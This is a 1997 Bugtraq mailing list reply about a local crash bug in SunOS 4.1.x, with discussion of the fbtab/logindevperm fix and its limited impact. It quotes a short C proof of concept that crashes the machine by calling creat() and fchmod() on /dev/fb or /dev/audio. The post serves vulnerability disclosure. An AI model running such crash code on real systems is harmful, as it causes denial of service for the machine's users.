Bugtraq mailing list archives
Re: SunOS 4.1.x crash
From: Doug.Hughes () ENG AUBURN EDU (Doug Hughes)
Date: Tue, 27 May 1997 12:32:17 -0500
I found the following three-liner to crash SunOS 4.1.x. It works on /dev/fb and /dev/audio on some machines; you need permission to open the device. main(int argc, char *argv[]) { int fd; fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755); if (fd < 0) perror("creat"), exit(1); fchmod(fd, 0755); /* BOOM */ }
Another one easily fixed with fbtab and logindevperm. It's interesting to see what havoc one caninflict on oneself, and these should probably be fixed, but I'm sure we could find lots of little niggling things that could be poked at devices that we own (keybd, framebuffer, etc) that will crash the machine. The fix to all of these is rather easy though (unless one wants to crash the machine he is sitting in front of, for whatever reason - there are probably a few circumstances where this might be useful to a cracker, but he would need physical access to begin with) Poll: Are there those out there that would like to continue receiving announcements of these little crash things that are all easily fixed by the same mechanism? (I'm curious - personally I'd like to see attention focussed elsewhere) - ____________________________________________________________________________ Doug Hughes Engineering Network Services System/Net Admin Auburn University doug () eng auburn edu
Current thread:
- SunOS 4.1.x crash Roger Espel Llima (May 27)
- Linux and SIOCSIFHWADDR Alan Cox (May 27)
- Re: SunOS 4.1.x crash Doug Hughes (May 27)